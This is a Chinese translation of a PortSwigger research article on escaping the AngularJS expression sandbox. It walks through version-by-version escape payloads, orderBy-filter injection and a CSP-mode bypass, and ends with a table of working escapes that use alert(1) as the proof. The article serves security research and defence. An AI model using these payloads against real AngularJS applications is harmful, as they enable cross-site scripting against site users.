原文地址:https://portswigger.net/research/dom-based-angularjs-sandbox-escapes
在《没有 HTML 的 XSS :客户端 AngularJS 模板注入》我们展示了使用 AngularJS 框架暴露交叉点的 XSS 漏洞,提供一个合适的沙箱逃逸方式。在本文中,我将研究如何开发一个在事先不可利用的上下文的沙箱转义——过滤器排序。我已经写了整个开发过程,包含各种技术,但并没有和好的解决。
我在 AllStars 2017 at AppSec EU & BSides Manchester 中做了介绍。
Angular 沙箱历史
Angular 发布之初没有沙箱概念,所以从 1.0-1.1.5 版本是没有沙箱的。但是 Angular 表达式的作用域是由开发人员定义的本地对象,这样就阻止了直接访问 window 对象,因为你可能重定义了作用域。如果你想访问 alert,可能被访问的是作用域内的 alert 对象,而不是window下的,从而使得执行失败。Mario Heiderich 发现了一个方法,通过构造函数属性突破这个限制。他发现可以在构造函数中执行任意代码。
{{ constructor.constructor('alert(1)')() }}
此处,当前构造函数的constructor属性就是当前对象的构造函数。constructor.constructor
是 Function的构造函数,它能将任意字符串转换成函数执行之。
在 Mario 利用 Angular 基础沙箱后,ensureSafeMemberName 函数就诞生了。该函数用于校验 JavaScript 中的构造函数属性,并拒绝在开始或结束包含下划线的属性。
function ensureSafeMemberName(name, fullExpression, allowConstructor) {
if(name === "constructor" && !allowConstructor) {
throw …
}
if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
throw …
}
return name;
}
Jan Horn 在 1.2.0 版本发现了第一个公共沙箱逃逸方法。
{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
}}
他利用 sub 函数(这是一个过时的,生成 sub 标记的 JavaScript 字符串方法)作为获取 Angular 函数的捷径,只因它的名称很短。然后他使用 call.call
获得类的 call 方法;通常当你使用单个 call 方法时会执行当前函数,但使用 call.call 就允许你选择函数调用了。然后他使用 getOwnPropertyDescriptor
获得函数属性对象和构造函数属性的描述。一个描述是描述对象属性的字面量对象;它将会告诉你该属性是否可枚举、可配置、可写以及是否包含任何 get、set 方法。value 也包含了引用属性值。
value 包含了 Function 构造函数的引用,它作为类的 call 方法的第一个入参。第二个函数并不重要——它用于指定执行函数的上下文,但是 Function 的构造函数会忽略它,在 Window 对象下执行。因此,Jan 执行传入了0。最后他传入希望执行的代码,通过 Function 构造函数生成新的函数逃逸沙箱。
Angular 改善了他们的沙箱,以应对这个优秀的旁路。他们改良 ensureSafeMemberName 方法,专门对某些特性属性进行了校验,如 proto。
function ensureSafeMemberName(name, fullExpression) {
if (name === "__defineGetter__" || name === "__defineSetter__" || name === "__lookupGetter__" || name === "__lookupSetter__" || name === "__proto__") {
throw …
}
return name;
}
他们还引入了一个新的对象,用于在引用特定对象或调用函数时进行校验。ensureSafeObject 方法校验Function构造函数、Window 对象、DMS 元素和 Object 构造函数。
function ensureSafeObject(obj, fullExpression) {
if (obj) {
if (obj.constructor === obj) {
throw …
} else if (obj.window === obj) {
throw …
} else if (obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
throw …
} else if (obj === Object) {
throw …
}
}
return obj;
}
我们举行了一个“沙箱派对”,然后每个版本的 Angular 都被破解了。我在博文中详细记录了我的沙箱逃逸内容,已经从最早的 1.5.11 版本开始的所有逃逸列表。最后 Angular 决定在1.6版本中完全移除沙箱功能,因为他们觉得沙箱是不安全的。
基于沙箱逃逸的DOM开发
你可能觉得在 Angular 1.6 版本删除沙箱功能后,沙箱逃逸的游戏已经结束。然而并没有…… 当我在伦敦做了一个分享之后,Lewis Ardern 给我指出 Angular 表达式可以在过滤排序中执行,开发者可以使用用户输入,如用location.hash 来设置排序过滤。
我注意到在没有解析、执行没有“{{”或“}}”的代码时,$eval 和 $$watchers 在沙箱环境内是不生效的。这使得前面很多沙箱逃逸方法是无效的,因为它们是依赖 $evql 或 $$watchers 的。查阅下面的公共沙箱逃逸列表,你能看到哪些依赖上下文顺序,哪些不需要。
// 1.0.1 - 1.1.5 == works
constructor.constructor('alert(1)')()
// 1.2.0 - 1.2.18 == works
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
// 1.2.19 - 1.2.23 == works
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);
// 1.2.24 - 1.2.29 == not working
'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");
// 1.3.0 == not working (calls $$watchers)
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);
// 1.3.1 - 1.5.8 == not working (calls $eval)
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
// 1.6.0 > == works (sandbox gone)
constructor.constructor('alert(1)')()
我决定从 1.3.0 版本开始。我必须解决的第一个问题是,枚举出环境中的所有对象,这样我就知道哪些属性可用了。修改 String 原型属性是检测沙箱代码的好方法;我将分配一个需要检测的同名属性给 String ,然后使用 setTimeout 输出该值。代码如下:
// sandboxed code
'a'.constructor.prototype.xPropertyIwantedToInspect=PropertyIwantedToInspect;
//outside sandboxed code
setTimeout(function(){
for(var i in '') {
if(''[i]) {
for(var j in ''[i]) {
if(''[i][j])alert(j+'='+''[i][j]);
}
}
}
});
然后从 Angular 源码中提取所有的关键词和变量并在沙箱中运行。尽管代码没有展示任何有害的函数,比如可以用于逃逸的 $eval,但它揭示了一些有趣的行为。当在含有 [].toString 方法的对象上定义 getter 方法时,我发现会调用对象的 join 方法。这就有了通过 join 方法调用 Function 构造函数,然后传递参数执行任意 JavaScript 代码。源码 fiddle 在这里。每个主流浏览器作为 getter 或方法使用对象的 toString 函数,都会自动调用该对象上的 join 方法。不幸的是,我没能找到传递参数的方法。这里是在 Angular 以外执行的代码。
'a'.sub.__proto__.__defineGetter__('x',[].toString);
'a'.sub.__proto__.join=Function;
alert('a'.sub.x+''); // outputs function anonymous
它同样能在 window 对象上运行。下面的示例,用 [].toString 重写了 window 下的 toString 方法,然后 window 下 join 方法被调用了,并触发了 alert。
toString=[].toString
join=alert;
window+1 // calls alert without any arguments
所以我就对所有的对象和属性做了处理,以观察是否还有其他函数调用 join。当使用带有 getter 的数组字面量的以下方法时都会调用 join 方法:copyWithin, fill, reverse, sort, valueOf, toString。
o=[1,2,3];
o.__defineGetter__('x',[].fill);
o.join=function(){alert(1);};
o.x+''
破解 1.3.0
前面的行为很酷,但我决定改变方向,并尝试一些不一样的东西。我在玩 1.3.0 时,注意到当修改 Object 原型时,你可以引用到 Function 和 Object 的构造函数!当调用 Function 构造函数时 Angular 会抛出一个错误,但因我有权限访问 Object 构造函数,我就有权限访问它的所有方法:
{}[['__proto__']]['x']=constructor;
使用带有属性访问器的数组,绕过了 Angular 的 ensureSafeMemberName 校验,因为 Angular 对有危险的字符串使用了严格匹配校验,并且没有预期到会是个数组。使用前面提到的对象枚举技术,我发现 Object 构造函数被成功分配。我先创建了一个 getOwnPropertyDescriptor,然后将其赋值给了”g”。
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;
g={}[['__proto__']]['x'];
然后使用 getOwnPropertyDescriptor 获得 Function 的原型描述。我将在后面使用它获取 Function 构造函数。
{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
我需要一个 defineProperty 的引用,所以我可以用同样的方法绕过 Angular 的 ensureSafeObject 校验。
{}[['__proto__']]['z']=constructor.defineProperty;
下面是我如何使用 defineProperty 重写”constructor”为 false 的。
d={}[['__proto__']]['z'];
d(''.sub[['__proto__']],'constructor',{value:false});
最后我使用 getOwnPropertyDescriptor 获得 Function 构造函数的引用,而没有使用构造函数属性。
{}[['__proto__']]['y'].value('alert(1)')()
完整的沙箱逃逸方法可以在 Anuglar 1.2.24-1.2.26/1.3.0-1.3.1 版本中正常工作。
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;
g={}[['__proto__']]['x'];
{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];
d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()
拥有1.3分支
沙箱逃逸很酷,但是它只能在有限的 Angular 版本中运行。我想拥有整个 1.3 分支。我开始研究它们如何解析表达式。我在 Angular 1.2.27 版本文件 1192 行加了断点,开始尝试各种对象属性,看看它们是如何重写代码的。我发现一些有趣的事情,如果没有包含字母数字属性,Angular 就如同“吃”到了分号,认为这是一个对象属性。这个表达式如下:
{}.;
下面是 Angular 如何重写代码的(注意,你需要在调试器中继续5次):
var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty(";"))?l:s)[";"];
return s;"
正如你所见,Angular 在重写代码输出时包含了两次分号。如果我们逃出双引号将如何?我们基本可以 XSS 重写代码并绕过沙箱。为了使其工作,我们需要为 Angular 提供一个有效的字符串,这样就不会破坏表达式的初始解析。Angular 可以解析带引号的对象属性:),我呈现了几乎最简短的 Angular 沙箱逃逸方法:
{}.",alert(1),";
然后重写的输出就变成了:
var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s)["",alert(1),""];
return s;
Sandbox escape PoC 1.2.27>>
我们只要对重写代码分离出来的内容稍作修改就能使其在 1.3 分支中正常运行。如果你观察了 1.3.4 版本的重写代码,你就注意到它会产生语法错误。
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s).",alert(1),";
return s;
我们只需摆脱括号并注释出语法错误即可,下面是最终可以在 1.2.27-1.2.29/1.3.0-1.3.20 版本工作的代码:
{}.")));alert(1)//";
破解1.4
接下来我决定看看 1.4 分支。在 1.4 以前的版本,容易受数组访问器欺骗,访问到 proto, defineSetter 等属性,我想获取可以使用这些属性或方法来逃逸沙箱。我需要重写“constructor”并且依然能访问到 Function 构造函数,但这次我无法访问到 Object 构造函数,因为在这个分支中沙箱收紧了。
在 Safari 或 IE 11 可以通过 proto 设置全局。你不能重写已经存在的属性,但是你可以创建新的。这是个死胡同,因为自定义属性的优先级高于集成于 Object 原型的属性。
({}).__proto__.__proto__={__proto__:null,x:123};
alert(window.x)//works on older versions of safari and IE11
因为 Angular 使用了一个“真”校验在 ensureSafeObject 中,我想或许可以使用一个布尔值使校验失败,然后访问到 Function 构造函数。然而 Angular 校验对象链中的每个属性,所以它确实检测构造函数。下面展示了它是如何工作的:
false.__proto__.x=Function;
if(!false)false.x('alert(1)')();
或许可以重写 Function 构造函数属性,通过将 proto 属性赋值为 null,从而使得构造函数未 undefined,但前提是能通过 Function.prototype.constructor 获取到原始 Function 构造函数。这就进入了另一个死胡同,想要重置 Function 构造函数的 proto 属性,就需要能访问到它,但是就会被 Angular 阻止。你可以重写每个函数的构造函数属性,但是不幸的是不能访问访问原始值。
Function.__proto__=null;
alert(Function.constructor);//undefined
Function.prototype.constructor('alert(1)')();
在 Firfox 51 可以使用函数的 lookupGetter 获得调用者。其他浏览器都拒绝使用这种方法获得调用者。有趣的是,在 Angular 中没有函数可以获取,这就又进入了一个死胡同。
function y(){
alert(y.__lookupGetter__('caller').call(y));
}
function x(){
y()
}
x();
接下来我将使用 defineGetter 和 valueOf 创建一个 Function 构造函数的别名。
'a'.sub.__proto__.__defineGetter__('x',[].valueOf);
Function.x('alert(1)')();
你还可以使用 getters 执行一个函数,这通常需要一个对象。所以“this”变成了赋值给 getter 的对象值。例如 proto 函数在没有时不能执行,使用 getter 将允许使用 proto 函数获得对象属性。
o={};
o.__defineGetter__('x','a'.sub.__lookupGetter__('__proto__'));
o.x//gets the __proto__ of the current object
上述技术失败了,因为即使我创建了 Function 构造函数别名,也不能在没有破坏构造函数属性的情况下访问 Function 构造函数。不过,这确实给了我启发。或许我可以在 window 下使用 lookupGetter 或defineSetter。
在 Chrome 中,你可以保存对 lookupGetter 的引用,它将使用 window 作为默认对象来访问 document 对象。
l={}.__lookupGetter__;
l('document')().defaultView.alert(1)
你也可以用此方法使用 defineSetter。
x={}.__defineSetter__;
x('y',alert);
y=1
Angular 将像 alert() 这样的直接函数调用转变成了 Angular 对象方法的调用。为了解决这个问题,我间接调用’(l=l)’使得 lookupGetter 函数在 window 上下文中执行,授予 document 访问权限。
x={};
l=x[['__lookupGetter__']];
d=(l=l)('document')();
很好,我们拥有了访问 document 的权限,那么是不是 Angular 输了?还没有结束。Angular 对每个对象是否是 DOM 节点也做了校验:
……
} else if (// isElement(obj)
obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
throw $parseMinErr('isecdom','Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}', fullExpression);
}
……
当 getter 函数被 Angular 调用时,document 对象将被阻塞。我想我可以将 defineGetter 赋值给 getter 函数的树形,但是这将破坏 window 的引用,然后 document 将不被返回。我梳理了 Chrome 56.0.2924.87 中的每个属性,想要看看哪些 getter 是有效的,同时保持 proto 和 document 依然有效。然后我决定在 Chrome beta 57.0.2987.54 尝试,发现有更多的 getter 可用。
我检查了所有 getter,并开始尝试是否可以执行任意代码。我发现可以偷取 localStorage 和 navigate history,但这没什么可怕的。经过一段时间的尝试,我发现 event 对象可以被利用。每个 event 对象都有 target 属性指向当前事件的 DOM 对象。事实证明,Angular 没有校验此属性,因而我可以轻易执行代码,通过 target 属性获得 document 对象和默认视图访问到 window,赋值给 location。
o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';
Sandbox escape PoC 1.4.5 (chrome only)>>
破解最新版本的沙箱
在 Angular 最新版本的沙箱中, lookupGetter 得到了正确的保护。不能在通过数组访问器技巧来访问它。为了利用 Angular 的这些版本,我需要一些 Angular eval 排序,我们利用前面的 Angular 规则表达式在排序上下文中执行。order by 表达式,作为 Angular 表达式执行,因为我可以通过调用带有外部 order by 的嵌套 order by 来获得 eval。
首先我们执行沙箱逃逸的第一部分,使得 charAt 返回一个较长字符串而不是一个简单的字符,从而破坏 isIdent 函数,正如我上一篇博文提到的。然后我们在字符串有效负载上调用执行排序过滤器。
x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'
Sandbox escape PoC 1.5.0 (chrome only)>>
破解CSP模式
前面的沙箱逃逸使用与 1.5.0-1.5.8 版本。我开始研究 1.5.11 版本,看是否能破解它。不幸的是,我不能基于 DOM 的上下文破解它,但我发现了一个能在属性中工作的旁路。使用我的对象枚举策略,我发现在 Chrome 中,Angular 的 $event 对象包含一个数组存储了它的路径属性。该路径属性包含一个同时含有 document 和 window 的数组。通过这个数组来进行排序过滤,我能改变执行表达式执行的上下文指向 window:
<div ng-click="$event.path|orderBy:'alert(1)'">test</div>
改逃逸方法在属性上下文中正常可用,但当开始 CSP 模式时失败。Angular 似乎在 CSP 模式下校验了调用函数是否是 window 对象,从而避免在执行时沙箱逃逸。为了解决这个问题,我只需要间接调用 alert 函数,而 Array.from 函数提供了便捷的方式。它需要两个入参:类对象数组和在数组每个元素上执行的函数。我传递给第一个入参的是含1的数组,第二个入参是可调用的alert函数。这个 CSP 模式旁路可以在 Angular 每个版本中工作。
<div ng-click="$event.path|orderBy:'[].constructor.from([1],alert)'">test</div>
CSP bypass for 1.5.11 (chrome only)>>
有关更多 AngularJS CSP 旁路,请参与 XSS 备忘录。
结论
当使用 Angular 时,必须避免将用户输入和服务端反射的用户输入传递到过滤器中,如 order by。不管您使用的是哪个版本的 Angular,已经被理解的用户输入上下文,最好假设沙箱已经被绕过。
如果你正在考虑在你的语言中增加一个沙箱,请仔细考虑安全性的好处是否会超过开发成本,以及一些用户可能感到潜在的虚假安全感。
沙箱逃逸
我们正在积极维护XSS备忘录上的沙箱逃逸列表。
基于DOM的Angular沙箱逃逸
1.0.1 - 1.1.5
Mario Heiderich (Cure53)
constructor.constructor('alert(1)')()
1.2.0 - 1.2.18
Jan Horn (Cure53)
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
1.2.19 - 1.2.23
Mathias Karlsson
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);
1.2.24-1.2.26
Gareth Heyes (PortSwigger)
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;
g={}[['__proto__']]['x'];
{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];
d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()
1.2.27-1.2.29/1.3.0-1.3.20
Gareth Heyes (PortSwigger)
{}.")));alert(1)//";
1.4.0-1.4.5
Gareth Heyes (PortSwigger)
o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';
1.4.5-1.5.8
Gareth Heyes (PortSwigger) & Ian Hickey
x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'
=1.6.0
Mario Heiderich (Cure53)
constructor.constructor('alert(1)')()
请访问网络学院 AngularJS 实验室,对 AngularJS 进行 XSS 实现。
译者注:作者翻译本文的目的是通过了解 AngularJS 沙箱逃逸的方法,了解沙箱逃逸思路,从而帮助我们写出更安全可靠的代码。